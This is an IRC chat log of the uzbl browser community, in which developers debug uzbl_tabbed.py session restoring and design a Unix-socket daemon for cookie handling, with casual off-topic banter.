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15:44 < Dieterbe> Rodya: yes. another worthwhile alternative could be to print them and then stick them where the sun don't shine
15:44 < Rodya> Dieterbe, that's the same as eating them, just in reverse
15:44 < Dieterbe> lol
15:45 < Dieterbe> Rodya: but seriously, i suggest you file the bug on uzbl.org/bugs
15:46 < Rodya> i will later, right now, Star Trek The Next Generation takes priority
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16:05 < holizz> mason-l, How as the --uri flag changed behaviour?
16:06 < mason-l> holizz, In that sometimes uzbl fails to load http://--uri/
16:06 < mason-l> Have a look at that again                                       ^
16:06 < mason-l> (Whoops, arrow is a little off)
16:06 < mason-l> I've fixed uzbl_tabbed.py anyway.
16:08 < holizz> mason-l, If you call "uzbl --uri" it'll try to open http://--uri/. But it shouldn't misbehave when --uri has an argument.
16:08 < _stack> uh, uzbl doesn't open this site to me http://190.it
16:08 < _stack> :(
16:08 < holizz> That's due to it taking the first _unparsed_ argument as the URI now.
16:09 < mason-l> Nonetheless it was misbehaving. Its behaving properly now that I've just dropped the --uri all together. Now I just launch with the equivalent of: "uzbl $URI"
16:09 < holizz> _stack, Works for me. Redirects to vodafone.it/190/.......
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16:10 < _stack> :|
16:10 < _stack> what an unfair world
16:10 < holizz> mason-l, Presumably uzbl was being opened with URI="", so it would have been executing "uzbl --uri"?
16:10 < holizz> _stack, What error do you get?
16:11 < _stack> the page doesn't even open, white page :)
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16:13 < holizz> _stack, Oh dear. You have my sympathies.
16:14 < schmx> are there any plans on making uzbl run without X ?
16:15 < holizz> schmx, Without X as in... in the framebuffer? Ncurses?
16:15 < mason-l> schmx, elinks is that way -->
16:15 < mason-l> :P
16:15 < schmx> framebuffer
16:15 < schmx> mason-l: elinks does not quite support flash etc.
16:16 < schmx> or modern CSS and what not.
16:17 < holizz> schmx, Gtk runs in the framebuffer. But does webkitgtk? It could probably be done assuming webkitgtk works.
16:17 < _stack> holizz: I dunno, the console does not report anything.
16:17 < schmx> holizz: I had no idea there was gtk for the fb.
16:17 < mason-l> _stack, Fixed the problem: http://github.com/mason-larobina/uzbl/blob/e52ee26e2ca27f45ec8d96eb09983384f17d4404/examples/data/uzbl/scripts/uzbl_tabbed.py
16:17 < _stack> firefox runs in fb :)
16:17 < _stack> mason-l: cool :)
16:17 < holizz> schmx, I only know because Debian's GUI installer uses Gtk in the framebuffer.
16:18 < schmx> holizz: I'm convinced that is using the minimal X that runs in fb and runs it on top of that.
16:19 < schmx> xvfb, that' s it.
16:19 < mason-l> Another great feature for uzbl_tabbed.py is saving the current state in JSON instead of the session flatfile in ~/.local/share/uzbl/session
16:19 < mason-l> I think I might work on that now
16:19 < holizz> schmx, Ah right. Well if GTK doesn't run in the fb then I don't think uzbl ever will.
16:20 < schmx> That is too bad.
16:20 < mason-l> My only hesitation is people not having json or simplejson python packages installed...
16:20 < schmx> gtk dependency is not nice :(
16:20 < holizz> schmx, Do you suggest we use the Cocoa port of WebKit?
16:21 < schmx> no. I suggest we write a clean xlib one.
16:21 < _stack> mason-l: strange, if I close it from the window-manager it still restore the session in the wrong way.
16:22 < mason-l> Mmmm.
16:22 < mason-l> Eeek!
16:22 < mason-l> I had fixed it.
16:23 < _stack> :|
16:23 < _stack> maybe I'm doing something wrong
16:23 < mason-l> I'm getting the same error
16:25 < holizz> Are we talking about the state thing? Yeah, uzbl_tabbed always takes me back to the same number of tabs, but they're all the same page.
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16:26 < mason-l> holizz, Yeah I'm working on that at the moment, I thought I fixed the problem and committed a non-working fix
16:26 < mason-l> Ah!
16:27 < mason-l> I know what it is.
16:27 < _stack> the file is a old commit btw...or I'm wrong?
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16:37 < mason-l> _stack, holizz: Found the real source of the state restoration bug and committed the patch (confirmed it was working this time) http://github.com/mason-larobina/uzbl/tree/experimental
16:38 < _stack> :) ok thanks
16:41 < _stack> seems still not to work  :(
16:42 < _stack> I'm joking :) , it works, thanks again
16:42 < mason-l> Checkout the whole tree and make install then see if it works or not
16:42 < mason-l> BAH!
16:42 < _stack> :P
16:42 < mason-l> :)
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17:18 < holizz> mason-l, I know what to do! Put the favicon into the GtkNotebook tabs.
17:18 < _stack> I've tryed the favicon.py but it does not work for me :(
17:18 < mason-l> Thats an idea. What I really would like to know is if I can use images in gtk.Labels
17:18 < holizz> _stack, You're not trying to use it in uzbl_tabbed, are you?
17:19 < _stack> I am :)
17:19 < mason-l> lol
17:19 < _stack> ok no explain, I've understood :D
17:19 < holizz> _stack, And have you created $XDG_CACHE_HOME/uzbl/favicon ? I should probably mention that.
17:20 < holizz> mason-l, Pango certainly doesn't support inline images. You'd probably need an HBox.
17:20 < holizz> mason-l, At which point you'd probably be better off using the real tabs.
17:20 < mason-l> holizz, Screw it then :)
17:21 < mason-l> I'll use firefox if I want favicons in the tab titles.
17:21 < mason-l> Window favicons I can do however.
17:21 < holizz> If I wanted _features_ in uzbl I'd be using Firefox!
17:22 < mason-l> :P
17:22 < _stack> gh
17:22 < holizz> Anyway, I have this craving for orange juice, so I'm going to go down the road and get some
17:22 < mason-l> I can still add the favicons to the notebook tab titles :)
17:23 < holizz> brb
17:23 < mason-l> holizz, Opinion: Should I save the window geometry in the json state dump and restore on next startup?
17:24 < _stack> is that $XDG_CACHE_HOME/uzbl/favicon = ~/,cache/uzbl/favicon? if yes I've created it.
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17:41 < holizz> _stack, yes.
17:42 < mason-l> holizz, Did you get any OJ?
17:42 < holizz> mason-l, Hmm. That seems a bit much. But you already created a session file so why not go ahead and implement Firefox over the top of uzbl!
17:42 < holizz> mason-l, Yes. I got OJ.
17:42 < mason-l> holizz, Oww; come now.
17:43 < holizz> Mmm, refreshing OJ...
17:43 < mason-l> I branched for the json session support so I can see if its worth doing.
17:44 < mason-l> The advantage of using a json state dump is that I get to load each tabs uri AND title on startup.
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17:45 < holizz> Python should include YAML in its stdlib like Ruby does. The only generic serialiser it has is pickle, and that's binary!
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18:00 < holizz> WTF I got two missed calls from Germany while I was out. I applied to jobs there, I should call back.
18:00 < mason-l> holizz, Want to take a look over the json version http://github.com/mason-larobina/uzbl/commit/dd7e57ebc4dc3d4e12a618ed843c5f4a52194cd3
18:01 < holizz> What's the branch called?
18:01 < mason-l> Here: http://github.com/mason-larobina/uzbl/commits/uzbl-tabbed-json-session
18:01 < mason-l> Gah I mean
18:01 < mason-l> http://github.com/mason-larobina/uzbl/tree/uzbl-tabbed-json-session
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18:03 < holizz> Damn. Google is shit at telling me who a phone number belongs to.
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18:04 < bct> do you speak german holizz?
18:05 < rob|> holizz: http://www1.dastelefonbuch.de/english.html?la=en&cilist=&s=a20000&sp=3&aktion=11
18:06 < holizz> bct, Nope. Fortunately the job is in English.
18:06 < holizz> It was Ableton. I have a phone interview! Yay!
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18:10 < holizz> rob|, Thanks, but that doesn't give me any results. And I already called them.
18:11 < bct> oooh, nice. that makes me hopeful as a unilingual anglophone who desparately wants to get off his continent
18:12 < bct> probably helps that you're in the EU though :(
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18:14 < holizz> bct, Yeah. The right to work in any country in the European Economic Area is great. No visas. Woop.
18:15 < holizz> I speak some Japanese (not enough to work, really), so I took a look at the procedure for getting a visa. Not very easy, as far as I can tell.
18:15 < bct> i'm commonwealth so maybe i can get uk citizenship without too much fuss
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18:17 < holizz> Commonwealth = a country which was one invaded by Britain or something, right?
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18:17 < bct> ha, i never thought of it that way.
18:17 < bct> but basically.
18:19 < bct> alternatively, a country which still has the queen on their money.
18:19 < holizz> Which country is that then?
18:20 < mason-l> Australia
18:20 < bct> canada
18:20 < holizz> Today #uzbl is mostly populated by loyal subjects of the Queen of England.
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18:21 < mason-l> Anybody up for a puzzle? http://gist.github.com/150427
18:21 < bct> send her victorious, happy and glorious
18:21 < mason-l> ;)
18:22 < holizz> bct, That isn't a line from God Save the Queen, is it? I only know the first line.
18:22 < holizz> God save our gracious queen... la la la la la la
18:22 < bct> yeah, it is
18:22 < bct> long to reign o'er us
18:24 < holizz> How and why do you know this?
18:24 < holizz> Our citizenship test should have a question "please quote as many lines from God Save the Queen as you can", and if they get more than 2 fail them for not being British enough.
18:24 < bct> too many remembrance day ceremonies as a child :/
18:25 < holizz> Oh that's okay then. I thought you were Britain's equivalent of a weaboo for a second there.
18:25 < mason-l> I can barely remember 2-3 lines of my own anthem let alone other countries anthems.
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18:29 < holizz> Gmail needs an autocompletion feature. So I can type Yours<Tab>, and it pops something up saying "do you know the name of the person you're emailing?[y/n]" and depending on my anwser it inserts "faithfully" or "sincerely". Maybe I can write some JavaScript in uzbl that does that.
18:30 < aCiD2> That's a horrible solution
18:30 < aCiD2> A better way would be signitures that change depending on whether you know the person, and google auto-select that
18:30 < aCiD2> imo
18:31 < aCiD2> Maybe "horrible solution" is a strong, heh
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18:53 < krayon> _stack: For binding mouse buttons you can use my branch :P
18:53 < krayon> oh, he's gone :S
18:56 < krayon> hmmm, is there an easy way to make uzbl execute a command on start? seems rather than having "-u" it'd be better to have the option to exec a cmd.
18:56 < krayon> then, you could still: uzbl -x set uri = http://
18:57 < krayon> but you could also do anything else, not just set a uri
18:57 < krayon> holizz: Oh, btw, that script for scrolling requires fairly new libwebkit, that's why it didn't work for me
18:58 < holizz> krayon, Aha. Problem solved.
18:58 < krayon> stack might have an older one too
18:58 < krayon> I've got libwebkit-1.1.6 and it doesn't work, 1.1.10 does
18:59 < krayon> But 1.1.10 has the gif bug :/
18:59 < krayon> 1.1.6 does not :P
19:00 < holizz> krayon, Oh yeah. That's kind of annoying, but somehow better than normal animated adverts.
19:00 < krayon> haha yeah probably
19:01 < krayon> holizz: do you know if there's a easy way to exec command on launch?
19:02 < krayon> I guess I could use sh or something to pipe it in maybe
19:03 < holizz> I suppose you could "echo -e 'cmds\nsh "cat $XDG_CONFIG_HOME > $4"' | uzbl -c -".
19:04 < holizz> s/$XDG_CONFIG_HOME/$XDG_CONFIG_HOME/uzbl/config/
19:05 < holizz> Or the other way around, maybe.
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19:06 < _stack_> I don't understand why if I link uzbl_tabbed.py to $PATH/uzbl and then launch uzbl it act as a fork bomb :D ($PATH/uzbl stands for a link named uzbl somewhere in my PATH)
19:07 < krayon> because uzbl_tabbed.py calls uzbl
19:07 < krayon> _stack_: fyi, if you wanted to bind mouse buttons you can use my branch.
19:07 < lwithers> _stack_: maybe do it with a shell alias instead?
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19:08 < _stack_> lwithers: is not a good idea because I also open links from xchat for example.
19:08 < lwithers> _stack_: i.e. "alias uzbl=/path/to/uzbl_tabbed.py" (and make sure that alias is only run in your interactive shells)
19:08 < holizz> _stack_, Or change where it says "uzbl" in uzbl_tabbed.py to the exact path.
19:08 < lwithers> _stack_: so make xchat launch uzbl_tabbed.py by full path rather than just call uzbl?
19:08 < krayon> _stack_: Oh, and the scroll position stuff doesn't work with libwebkit 1.1.6 but does in 1.1.10 so if you are having issues getting it working it could be that.
19:09 < _stack_> krayon: no now it works thanks
19:09 < _stack_> holizz: I think that I'll do like that.
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19:13 < holizz> Anybody else find copy/paste and select/middle-click to be terribly inconsistent in uzbl?
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19:13 < lwithers> _stack_: actually, wouldn't your best solution be to just have uzbl_tabbed.py in your path (maybe with a slightly friendlier name), and set your applications to launch it rather than uzbl?
19:14 < _stack_> lwithers: it think is better to have the distro handle those thing, for example I have configured update-alternatives to point to uzbl
19:14 < lwithers> that way '/usr/bin/uzbl' does what everyone expects and no surprises anywhere, but you still get the desired behaviour with e.g. '/usr/bin/uzblt' ?
19:14 < _stack_> so all the application use it
19:14 < _stack_> mhhh
19:15 < lwithers> I don't know much about update-alternatives, but it just updates a set of symlinks right? so maybe you could point the symlinks at uzblt rather than uzbl directly?
19:15 < _stack_> I could replace the binary with the tabbed py file and make this launch the real file, but Is not what I want cause I want a per-user config
19:15 < lwithers> it just seems cleaner to have '/usr/bin/uzbl' actually launch uzbl rather than a wrapper script
19:15 < _stack_> yes maybe I can do that with update alternatives
19:16 < _stack_> but I think that if I modify that the postrm script of the package fails...
19:16 < _stack_> let me try in 10 min, before I must do one thing
19:17 < krayon> holizz: Yeah, it doesn't work so good.
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19:24 < holizz> Capoeira time. See you all later.
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19:35 < _stack_> :( , now uzblt opens in the current workspace and not what I setted up in awesome (the wm) configuration
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19:52 < _stack_> uzbl_tabbed.py www.example.com doesn't even open the link, is that a my issue ?
20:22 < Dieterbe> wuzaaa
20:23 < krayon> Dieterbe: Sup
20:24 < Dieterbe> soup
20:24 < krayon> s'goin' down in da h00d?
20:24 < Dieterbe> checkin' mah mails
20:24 < Dieterbe> with my bitches and hos
20:24 < krayon> :D Nice
20:24 < krayon> Hey is there a way to exec a command on startup of uzbl?
20:25 < krayon> I hope not as I just added that to mine :P
20:25 < krayon> Makes my config MUCH shorter :P
20:26 < Dieterbe> mason-l> Another great feature for uzbl_tabbed.py is saving the current state in JSON instead of the session flatfile in ~/.local/share/uzbl/session <-- holy shit ! json is soo much better then plaintext omg omg woot
20:27 < Dieterbe> krayon: in fact, that was an item on our todo list
20:27 < krayon> I can just have: bind t_ = spawn uzbl -x "keycmd_nl o%s"
20:27 < krayon> And then t functions just like o but for a new window
20:27 < krayon> so I have og = google search, then tg = google search in new window
20:28 < krayon> but I don't have to bind it twice
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20:31 < Dieterbe> o_O
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20:32 < krayon> Well, anyway I sent a pull req if you want it
20:33 < Dieterbe> hmm
20:34 < Dieterbe> uzbl -x foo == echo foo | uzbl ?
20:34 < Dieterbe> i mean: echo foo | uzbl -c -
20:35 < krayon> does that not override the config?
20:36 < Dieterbe> it adds to it, as long as you have a config in $XDG_CONFIG_HOME
20:36 < Dieterbe> and if you don't you can also do : (cat $your_conf; foo) | uzbl -c -
20:37 < krayon> doh!
20:38 < krayon> That's what I get for not sleeping for 3 days and then trying to think I guess... *sigh*
20:39 < Dieterbe> :)
20:42 < lwithers> Dieterbe: hi, I'd like to help... where would be a good place to start?
20:42 < krayon> Dieterbe: Doesn't seem to work for me :/
20:42 < lwithers> there was some discussion about cookies last night, but I don't think there's any consensus on what to actually do
20:43 < krayon> I tried: echo "keycmd_nl og test"|./uzbl
20:43 < krayon> andash: (cat myconf; echo "keycmd_nl og test")|./uzbl
20:43 < Dieterbe> lwithers: http://lists.uzbl.org/pipermail/uzbl-dev-uzbl.org/2009-July/000158.html if you're interested in the cookie stuff
20:44 < Dieterbe> krayon: it's uzbl -c -
20:44 < krayon> sigh nvm ... no sleep really bade
20:45 < krayon> Plesae ignore my ramblings
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20:46 < Dieterbe> will do !
20:47 < lwithers> Dieterbe: ok, that's pretty sensible, something like "set cookie_handler = cookie_socket /tmp/cookie-socket-lwithers" and a corresponding daemon ?
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20:48 < krayon> lwithers: sweet as, you doing this already?
20:48 < lwithers> krayon: nope it's a proposal
20:49 < krayon> Does git do un-ocmmit? :/
20:49 < Dieterbe> lwithers: hmm hold on, let me reread the thread
20:49 < Dieterbe> krayon: git revert
20:50 < krayon> Dieterbe: thanks
20:53 < Dieterbe> lwithers: i would pick a more generic name, something like: "set cookie_handler = talk /tmp/cookie-socket-lwithers", in which 'talk' would be a new command that can be used to tell uzbl it should talk to a socket.  and also, we should have a hook to launch a script at uzbl startup, so that that script can daemonize itself and setup /tmp/cookie-socket-lwithers for future requests
20:53 < lwithers> that's sensible
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20:54 < lwithers> would 'talk' be used for anything other than cookies?
20:54 < Dieterbe> it could be. anytime we want uzbl to interact with a socket
20:55 < krayon> Dieterbe: That's what I was getting at earlier
20:55 < krayon> Dieterbe: Having the ability for anything to use sockets ftw imho
20:55 < bct> do you need a second argument there to specify a script to spawn?
20:55 < krayon> lwithers: You could replace all handlers with socket connections then
20:55 < bct> or are we assuming that the script is started separately?
20:56 < krayon> uzbl should only use the socket if it's there imho
20:56 < Dieterbe> lwithers: we now have 'sync_spawn' which spawns an external process and "catches" the stdout of that script to use it, the 'talk' command would be similar but not spawn an external script, just talk to a socket
20:56 < krayon> it should be the handler's job to run (or not)
20:57 < lwithers> yep, ok; SOCK_SEQPACKET would seem to be appropriate here
20:57 < krayon> that way to turn off cookies, you could just: pkill cookie_handler.bin or whatever
20:57 < Dieterbe> bct: my first idea was to start the script in a hook on uzbl startup, and bail out if that would fail, but your idea doesn't sound bad either
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20:58 < Dieterbe> bct: with your idea, you don't run a script when it's not needed, and you automatically recreate if the socket would dissappear (human error?)
20:59 < lwithers> however, the problem with that is what to do if the command to create the socket fails
20:59 < lwithers> also, how long do you wait for the socket to appear?
20:59 < lwithers> etc.
21:00 < lwithers> it seems more unixy to assume the daemon is there and if it's not just throw the cookie away, no?
21:00  * krayon agrees
21:00 < lwithers> (ofc a startup command to start the daemon if it isn't already running is good)
21:00 < Dieterbe> hmm. so basically it's up to the user to make sure his stuff is running
21:00 < krayon> lwithers: cookie_handler; uzbl
21:00 < krayon> If it's a daemon ;)
21:01 < lwithers> krayon: well startup and runtime are two separate problems; let's solve runtime first
21:01 < lwithers> startup should be trivial (famous last words)
21:02 < krayon> If it's not running throw it away, as per if cookie_handler doesn't exist atm (afaik that's what happens)
21:02 < lwithers> yep
21:02 < Dieterbe> ..but post some errors to stderr
21:02 < krayon> After all, the *_handler process is something else and could be used for other things/browsers etc
21:03 < lwithers> ok, sounds good
21:03 < Dieterbe> so, it's up to the user to start the necesseary daemons (through .xinitrc, xdg-autostart or whatever) ?
21:03 < krayon> I think that's best.  They can then change them at runtime too.
21:03 < Dieterbe> i think that's ok for me
21:04 < Dieterbe> bct, rob| what do you think?
21:04 < krayon> easierlyer.
21:04 < bct> seems simpler that way.
21:06 < bct> easier to debug if the script's std* are going to a different terminal than uzbl's
21:09 < Dieterbe> so.. we will solve the cookie fork exec problem in what.. 15 lines of C code?
21:10 < Dieterbe> always cool when solutions turn out to be simpler then you anticipated :)
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21:20 < schmx> anyone got a pkgsrc package for uzbl?
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21:26 < Dieterbe> what's pkgsrc?
21:27 < schmx> Dieterbe: I am looking at grabbing a tarball of uzbl source. Should I just go with the most recent one, or is there a "stable/current" tarball?
21:27 < schmx> pkgsrc is package installer and builder ;)
21:27 < schmx> ya know.. pkg_add foo
21:27 < schmx> and it installs yer foo.
21:28 < Dieterbe> schmx: if you need a tarball, pick the one from the last release. it's a few days old. but in a week or 2 it will be outdated
21:28 < schmx> Ok.  That is too bad that there is not just a "current" one that points to the latest :)
21:31 < lwithers> ok, so with the current cookie handler the PUT/GET command gets passed on the stdin of any spawned process?
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21:34 < bct> lwithers, correct.
21:34 < lwithers> where does that happen? I cannot spot it
21:34 < bct> sorry, no
21:34 < bct> it gets passed in the arguments
21:34 < bct> and the handler is called every time a url is fetched.
21:34 < lwithers> oh OK
21:35 < bct> do a case-sensitive grep for Cookie, that'll get you near the right place
21:35  * schmx mutters about scripts requiring bash.
21:35 < lwithers> I'm implementing a talk_to_socket() now but it's only being called with a single argument
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21:35 < lwithers> obviously I have missed something somewhere
21:37 < lwithers> I suspect inject_handler_args() is not doing the right thing
21:41 < lwithers> ok, the comment in inject_handler_args() is confusing; however, if we make it deal with "talk_to_socket" like it's an external command, then I get the PUT/GET command passed to my function
21:42 < lwithers> the horrid thing is that we have split a "GET foo bar baz" C string into an array of "GET", "foo", "bar", "baz" and talk_to_socket() is now going to have to reassemble that into "GET foo bar baz"
21:42 < schmx> shit. just tried to build uzbl from git and got a fuckload of errors
21:42 < lwithers> I'm sure there's a nicer way to handle this but I'm not familiar enough with the code to start refactoring it...
21:45 < schmx> something about not finding pixman-1
21:45  * schmx googles pixman-1
21:46 < lwithers> hmm, maybe if I add a special case in inject_handler_args()...
21:48 < schmx> Dieterbe: I think the dependency list on the homepage needs a bit of an update :)
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21:58 < Dieterbe> shdb: shoot
21:58 < Dieterbe> i mean schmx : shoot
21:59 < Dieterbe> shdb: sorry about that. too many people on this channel :P
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22:00 < schmx> Dieterbe: hang on.. I'm make 2>log'in and installing missing.. repeating. (:
22:00 < schmx> hopefully I'll have it running sometime today :D
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22:12 < lwithers> can I use %m in g_printerr() ?
22:13 < lwithers> ok it seems to chain directly to libc... is %m safe to use or is it a GNU-ism?
22:13 < schmx> Dieterbe: ok this will take longer than expected to find stuff. But at the moment it turns out I need pixman, freetype2, fontconfig, and some others ATLEAST :)
22:14 < Dieterbe> lwithers: no idea
22:14 < Dieterbe> schmx: i think those are dependencies of libwebkit/gtk
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22:15 < lwithers> I think it's a GNU-ism, I've noticed you've used g_printerr("%s", strerror(errno)) everywhere so I'll do that instead
22:15 < schmx> Dieterbe: I installed webkit and gtk just fine and run gtk apps w/o 'em.
22:15 < lwithers> (%m is basically %s with strerror(errno) as the arg)
22:15 < schmx> lwithers: What is thata %m being sent to in libc.. sprintf or some such?
22:15 < schmx> Dieterbe: just I needed the headers and what heck to build uzbl here :)
22:16 < lwithers> it saves you having to call strerror(errno) to print error messages
22:16 < schmx> Just wondering about the "gnu-ism" of it all. If it is just a glib thing, then it will work wherever.
22:16 < lwithers> yes probably sprintf or asprintf
22:16 < schmx> right.
22:17 < schmx> then I'd avoid the %m :)
22:17 < lwithers> never used glib before, it's done in the C library; afaics g_printerr is a wrapper around it
22:17 < schmx> ah ok.
22:17 < schmx> I think it is only gnu libc that supports %m.
22:18 < schmx> oh.. gnu man page says it is a "glibc extension".  My netbsd man page doesn't even list it.
22:18 < lwithers> yep, I don't normally bother with portable code so I don't really keep track of what's GNU and what's not
22:18 < schmx> lwithers: The trick is to avoid GNU userland, then it stays portable :D
22:18 < schmx> is "the unix way" ;)
22:18 < Dieterbe> btw about the scripts to set up sockets: i would make the script set up the socket, and then fork, parent can exit(0) so the process that spawned it knows the socket has been setup succesfully, and the child will be the one that listens on the socket for undetermined amount of time
22:19 < schmx> All those sed -i and whatnot people jam in their scripts. and assuming everyone and their dog have bash on their system.
22:19 < schmx> It's scary.
22:19 < lwithers> Dieterbe: first pass of talk_to_socket() assumes socket is there; it doesn't handle socket creation
22:20 < Dieterbe> lwithers: sure, i was talking about the script that would set up the socket/daemon
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22:20 < lwithers> I guess the options are (a)do nothing and assume daemon is there, (b)on uzbl startup run a script that checks for the daemon and launches it if necessary and (c)test for socket connect failure and run a command to launch the socket
22:21 < lwithers> your scheme would be necessary for option (c)
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22:26 < Dieterbe> huh? no my scheme has nothing to do with all of that
22:27 < lwithers> ok, explain what you meant then
22:27 < Dieterbe> my scheme is just a way to launch the "socket listening daemon", returning to the user as early as possible with a valid exit code, yet late enough to make sure the stuff is set up correctly (in case of exit(0))
22:27 < Dieterbe> a user would probably run those scripts in his .xinitrc
22:28 < Dieterbe> with feedback in case of failure
22:28 < Dieterbe> it doesn't say anything about the implementation in uzbl.c
22:28 < schmx> What's this socket listening daemon? (:
22:28 < lwithers> oh ok
22:29 < lwithers> it's a daemon that creates a Unix socket, then uzbl can talk to the daemon through the socket for various things
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22:29 < lwithers> e.g. for setting and retrieving cookies
22:29 < schmx> aha.
22:29 < Dieterbe> we need this for a while already
22:29 < Dieterbe> to make the cookie stuff less slow
22:29 < lwithers> it saves having to fork a new process every time a cookie needs to be checked for or stored
22:29 < schmx> Neat.
22:30 < schmx> But from .xinitrc ?
22:30 < lwithers> something needs to launch the daemon in the first place
22:30 < schmx> Just curious of how that would work with ssh -X + running uzbl remote.
22:31 < schmx> I mean who runs apps locally :D
22:31 < lwithers> but right now we just want to get the comms side of things sorted
22:31 < Dieterbe> schmx: if you want that, you run the scripts on the remote host. .xinitrc is just an example
22:31 < lwithers> if we do it properly then the mechanism that launches the daemon is irrelevant
22:31 < schmx> Dieterbe: aha. :)
22:31 < Dieterbe> lwithers: yeah sure, but i was already thinking about it 
22:32 < schmx> Won't uzbl have to wait for the daemon to do its thing?
22:32 < schmx> n/m. I'll get back to building stuff so I can build a uzbl.
22:32 < lwithers> schmx: yes but that's an awful lot quicker than fork() + execve() + waitpid()
22:32 < schmx> lwithers: Probably ya :)
22:33 < schmx> Hmmm.. I'm thinking now though I ssh -X . run uzbl.. run daemon remote.  How do I get the "do you want to accept cookies from this site?" pop up? :S
22:33 < schmx> actually I don't know how I'd do that with how things are now either.
22:33 < schmx> man that's annoying.
22:33 < schmx> :(
22:34 < schmx> I'll need to think aboot that.
22:34 < lwithers> well, how do e.g. gnome-keyring ssh-agent gpg-agent do that? a daemon which prompted the user would have to use the same mechanism
22:35 < schmx> lwithers: I have no idea. Never used any of those softwares.
22:35  * schmx googles 'em up :)
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22:37 < lwithers> presumably (and this is a guess) ssh -X sets up DISPLAY so any X client being launched on the remote would be pointed over the ssh tunnel to your local server and it would all just work as expected
22:37 < bct> if you're running the daemon on a forwarded session it should be able to open windows on your local machine exactly the same
22:37 < lwithers> what bct said
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22:38 < schmx> bct: I was thinkning of having it running at all time on the server machine, so I didn't have to start it up.
22:38 < schmx> bct: But yeah. that would work. Not very pretty solution though.
22:39 < lwithers> schmx: actually it is an elegant solution, and actually the Right Way to do something like this
22:39  * schmx would like to start it from rc.local or somesuch. Oh well :) One can't win all the time.
22:39 < schmx> lwithers: I find it very ugly to start a daemon over a remote session.
22:39 < lwithers> why? wouldn't it be better for the daemon to exist only within the session?
22:39 < schmx> I don't see any big win from it.
22:39 < bct> or you could just not use the popup, those things are terribly annoying
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22:40 < bct> don't allow 3rd party cookies and use a whitelist or blacklist
22:40 < schmx> bct: I love 'em. It's the best part of say FF. It asks me per site, and I check yes or no and it remembers.
22:40 < schmx> bct: That's why I want the popup so I can make the whitelist while I browse around the interwebs.
22:40 < lwithers> yep, anyway I expect I'll write a simple C daemon which sure as hell won't have any popups so schmx you can write your own daemon with popups ;)
22:40 < schmx> lwithers: Ya I will no problem.
22:41 < bct> lwithers, are you going to push this somewhere public as you work on it?
22:41 < lwithers> well I have a very small patch against uzbl.c now which implements talk_to_socket
22:41 < lwithers> that can be put somewhere
22:41 < schmx> Will the socket allow any kind of communication back to uzbl? for control etc.?
22:42 < lwithers> schmx: it's a "request, response" implementation at present
22:42 < bct> please do, i've been meaning to work on this for a while
22:42 < schmx> I mean I could just have the daemon generate a webpage with the yes/no and point uzbl to it.
22:42 < lwithers> so uzbl connects to the socket and writes a request, then waits for a response
22:42 < schmx> aha
22:43 < schmx> It'd be neat with complete control over the sucker via socket though :)
22:43 < bct> schmx, that could work. you could use uzbl's control socket or fifo
22:43 < schmx> oh there will be a control socket.
22:43 < bct> there already is one
22:43 < lwithers> schmx: there already is a control fifo
22:43 < schmx> I only started lookin' at this yesterday. So pardon my stupid thinking ;)
22:43 < schmx> that's great.
22:43 < bct> there's both.
22:43 < bct> check /tmp
22:43 < lwithers> you can do e.g. echo 'set uri = foo' > fifo
22:43 < schmx> bct: I will as soon as I've managed to build a new uzbl :D
22:43 < lwithers> is it a SOCK_DGRAM socket?
22:44 < schmx> lwithers: that's great. then it's no problem. (:
22:44 < bct> i think it's STREAM, not sure though
22:44 < lwithers> SOCK_STREAM it is
22:44 < bct> btw, how portable is SOCK_SEQPACKET?
22:45 < bct> it sounds perfect
22:45 < lwithers> bct: actually, I don't know
22:45 < bct> it looks like freebsd has it
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22:46 < lwithers> good good
22:46 < bct> i'm working at turning a stream socket back into messages at work right now
22:46 < bct> it kind of sucks.
22:46 < lwithers> my manual page doesn't say anything about its portability
22:46 < bct> mine neither.
22:47 < lwithers> oh, I have a library for that (type,length,value paradigm)
22:47 < lwithers> works over TCP, Unix SOCK_STREAM or TLS with PSK
22:47 < lwithers> right PITA to implement but now I've got it it's very useful
22:47 < lwithers> 'fraid it's for work though so I probably can't share the code around
22:49 < schmx> bct: SOCK_SEQPACKET is very portable. It's part of SUS
22:49 < bct> SUS?
22:49 < lwithers> single unix standard
22:49 < schmx> the single unix specification
22:49 < bct> huh, never heard of it
22:50 < bct> posix++?
22:50 < schmx> something like that (:
22:52 < schmx> hey waddayaknow it is posix standard.
22:52 < schmx> well my work here is done!
22:53 < da4089> bct: http://www.unix.org/single_unix_specification/
22:54 < dxdx> !karma posix
22:54 < uzblbot> dxdx: posix has neutral karma.
22:54 < lwithers> hmm, not convinced about that uzblbot :)
22:59 < Dieterbe> no one is :P
23:00 < schmx> blarg! damn you formfiller.sh
23:00 < schmx> to bitch or to patch.
23:00 < schmx> hmmm..
23:01 < lwithers> how big can URIs and cookies get? (determines maximum message size for the daemon)
23:03 < bct> there's no official maximum size for a uri afaik, but maybe uzbl or webkit has its own maximum
23:04 < bct> http://curl.haxx.se/rfc/cookie_spec.html says 4kb per cookie
23:04 < bct> but you can have multiple cookies per request
23:05 < schmx> lwithers: Atleast the HTTP protocol says URIs can be any length. I'd assume it is the same for the rest :)
23:05 < lwithers> bct: sure but the socket protocol only deals with one at a time
23:06 < bct> ah, so you'd send multiple response messages back to uzbl if the handler finds multiple cookies?
23:07 < Dieterbe> i'm going to sleep now
23:07 < Dieterbe> see you later guys
23:07 < bct> night Dieterbe
23:07 < lwithers> bct: I've no idea, what does the current handler script do? multiple lines on stdout?
23:08 < bct> no, it concatenates them all with '; '
23:08 < bct> like they would be in the actual cookie header
23:09 < bct> take a look at <http://curl.haxx.se/rfc/cookie_spec.html>, it's really short
23:09 < lwithers> ok, so the daemon could do that then
23:09 < lwithers> ok, thanks
23:10 < bct> in theory your header could be 80kb
23:10 < bct> but anybody whose site set that many cookies deserves a smack.
23:10 < lwithers> hmm, SOCK_SEQPACKET is limited to 64k per message
23:11 < lwithers> I might switch over to using SOCK_STREAM in that case, more of a PITA but at least it can cope with arbitrary lengths of stuff
23:12 < bct> i would be 100% ok with imposing a 64k limit
23:13 < lwithers> bct: you might be, but some webapps might not :/
23:14 < bct> true, but ones that extreme will be rare
23:14 < lwithers> but someone will bitch about google calendar not working or something
23:15 < schmx> I won't. And that is what matters.
23:16 < bct> it might be interesting to do a quick check of my firefox cookies db, see what the biggest stuff there is.
23:17 < lwithers> well google just got a bunch of odd-looking cookie: headers from me :)
23:18 < lwithers> Cookie: I would return your cookie but it was eaten by the cookie monster, sorry\r\n
23:18 < lwithers> and with that, let's publish these changes somewhere
23:18  * bct dreams of a world where browser UI for httpauth didn't suck so cookies never had to be invented.
23:18 < bct> yay
